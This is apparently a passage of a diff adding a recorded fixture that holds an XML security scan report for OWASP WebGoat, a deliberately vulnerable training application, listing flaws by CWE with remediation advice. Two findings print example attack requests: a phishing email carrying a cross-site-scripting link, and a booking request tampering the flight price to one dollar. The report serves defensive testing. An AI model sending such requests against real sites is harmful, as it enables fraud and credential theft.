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</data>\n</screenshot>\n<code>The
+        following POST request demonstrates the issue. It send an email message to
+        Phising.Victim@owasp.org. The message body contains a link that when clicked
+        will utilize a cross-site scripting attack to make the phising attack appear
+        more legitimate.\n\nPOST /WebGoat/attack?Screen=1706623184&amp;menu=1700 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        339\n\ngId=GMail+id&amp;gPass=password&amp;subject=Password Reset Necessary!&amp;to=Phising.Victim%40owasp.org&amp;msg=Due
+        to a security flaw in our software all users must immediatly reset their password.
+        Please click the following link to reset your password: http://targethost/WebGoat/somevulnerablepage?xssparam=XssPayLoadThatWillStealPassword&amp;SUBMIT=Send%21</code>\n</appendix>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"273\" module=\"manual_analysis\" type=\"\" description=\"The
+        application trusts values used in business logic that originate from the client.
+        The price of a flight is passed to the client through a JSON request. The
+        price value is subsequently sent back to the application when the client orders
+        a flight. There is no verification that the price value has not be modified.\"
+        note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\"
+        cvss=\"6\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"price2Submit\">\n<exploit_desc>A
+        malicious client attempting to book a flight and save money can intercept
+        the booking request and modify the price.</exploit_desc>\n<severity_desc>The
+        issue becomes severe since the malicious client will cause a loss in revenue.
+        A sophisticated attacker may resell the stolen flights at a discounted rate,
+        causing an even larger loss in revenue.</severity_desc>\n<remediation_desc>Only
+        send values from the client to the application that are necessary and cannot
+        be obtained from an internal data source. The price of the flight can be associated
+        with the the client's session, then obtained from the internal and trusted
+        data source as necessary. Treat all values from the client as untrusted.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<code>The
+        following POST request allows a ticket from BOS to SEA to be purchased for
+        1 dollar.\nNotice that the price2Submit parameter is set to %241 or $1\n\nPOST
+        /WebGoat/attack?Screen=655909089&amp;menu=400 HTTP/1.1\nHost: targethost\nUser-Agent:
+        Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept:
+        text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        69\n\ntravelFrom=BOS&amp;travelTo=SEA&amp;radio0=on&amp;SUBMIT=Submit&amp;price2Submit=%241</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"13\" categoryname=\"Race Conditions\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Race conditions are the most well-known timing flaw and are related
+        to improper handling of a resource that can be accessed by multiple processes.
+        \ Race conditions exploit the small window of time between when a security
+        control is applied and when the service is used.  Vulnerabilities occur when
+        there is a discrepancy between the programmer's assumption of how a program
+        executes and what happens in reality. \"/>\n<para text=\"Attackers often exploit
+        race conditions to gain unauthorized access to system resources.  A common
+        scenario is a time-of-check time-of-use race condition, which takes advantage
+        of a timing gap between the time the authorization check is performed and
+        the time the resource is actually used. \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Review the code carefully for any pair of operations that might fail
+        if arbitrary code is executed between them. Often, developers assume that
+        a series of actions represent an atomic operation when in fact they do not.
+        These non-atomic conditions commonly involve the filesystem and/or temporary
+        files.\"/>\n<para text=\"Pay close attention to asynchronous actions in processes
+        and make copious use of sanity checks in systems that may be subject to synchronization
+        errors.\"/>\n</recommendations>\n<cwe cweid=\"366\" cwename=\"Race Condition
+        within a Thread\" pcirelated=\"false\" certc=\"748\" certcpp=\"882\" certjava=\"852\">\n<description>\n<text
+        text=\"If two threads of execution use a resource simultaneously, there exists
+        the possibility that resources may be used while invalid, in turn making the
+        state of execution undefined.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\"
+        categoryname=\"Race Condition within a Thread\" count=\"1\" issueid=\"47\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"span.set\" description=\"There
+        are total of 12 instances. A shared variable 'mySession' is used here without
+        a locking mechanism such as a synchronized block. If two threads of execution
+        reference a shared variable simultaneously, the variable may be invalid or
+        in an unexpected state.\r\n\r\nUse locking functionality around code that
+        alters or reads persistent data in a multi-threaded environment.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/366.html)\r\n\r\n\" note=\"\"
+        cweid=\"366\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"13\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"135\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void doPost(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
+        functionrelativelocation=\"3\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"2\">\n<category categoryid=\"7\" categoryname=\"API Abuse\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"An API is a contract between a caller and a callee. Incorrect usage
+        of certain API functions can result in exploitable security vulnerabilities.\"/>\n<para
+        text=\"The most common forms of API abuse are caused by the caller failing
+        to honor its end of this contract.  For example, if a program fails to call
+        chdir() after calling chroot(), it violates the contract that specifies how
+        to change the active root directory in a secure fashion.  Providing too few
+        arguments to a varargs function such as printf() also violates the API contract
+        and will cause the missing parameters to be populated with unexpected data
+        from the stack.\"/>\n<para text=\"Another common mishap is when the caller
+        makes false assumptions about the callee's behavior.  One example of this
+        is when a caller expects a DNS-related function to return trustworthy information
+        that can be used for authentication purposes.  This is a bad assumption because
+        DNS responses can be easily spoofed.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"When calling API functions, be sure to fully understand and adhere
+        to the specifications to avoid introducing security vulnerabilities.  Do not
+        make assumptions about trustworthiness of the data returned from API calls
+        or use the data in a context that was unintended by that API.\"/>\n</recommendations>\n<cwe
+        cweid=\"245\" cwename=\"J2EE Bad Practices: Direct Management of Connections\"
+        pcirelated=\"false\">\n<description>\n<text text=\"The J2EE application directly
+        manages connections rather than using the container's resource management
+        facilities to obtain connections as specified in the J2EE standard.  Every
+        major web application container provides pooled database connection management
+        as part of its resource management framework. Duplicating this functionality
+        in an application is difficult and error prone, which is part of the reason
+        it is forbidden under the J2EE standard.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"202\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"114\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"68\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(WebSession)\" functionrelativelocation=\"93\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"41\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"78\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"90\"/>\n<flaw severity=\"2\" categoryname=\"J2EE
+        Bad Practices: Direct Management of Connections\" count=\"1\" issueid=\"26\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"253\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"105\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"597\" cwename=\"Use
+        of Wrong Operator in String Comparison\" pcirelated=\"false\" certjava=\"847\">\n<description>\n<text
+        text=\"Using '==' to compare two strings for equality or '!=' for inequality
+        actually compares the object references rather than their values.  It is unlikely
+        that this reflects the intended application logic.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"176\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"142\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"70\"/>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"203\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"280\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"85\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"248\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"282\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"86\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"164\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"614\" cwename=\"Sensitive Cookie
+        in HTTPS Session Without 'Secure' Attribute\" pcirelated=\"false\" owasp=\"934\"
+        sans=\"311\">\n<description>\n<text text=\"Setting the Secure attribute on
+        an HTTP cookie instructs the web browser to send it only over a secure channel,
+        such as an SSL connection.  Issuing a cookie without the Secure attribute
+        allows the browser to transmit it over unencrypted connections, which are
+        susceptible to eavesdropping.  It is particularly important to set the Secure
+        attribute on any cookies containing sensitive data, such as authentication
+        information (e.g. &quot;remember me&quot; style functionality).\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"158\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"172\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage1(session.WebSession)\" functionrelativelocation=\"94\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"154\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"193\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"3\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"159\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
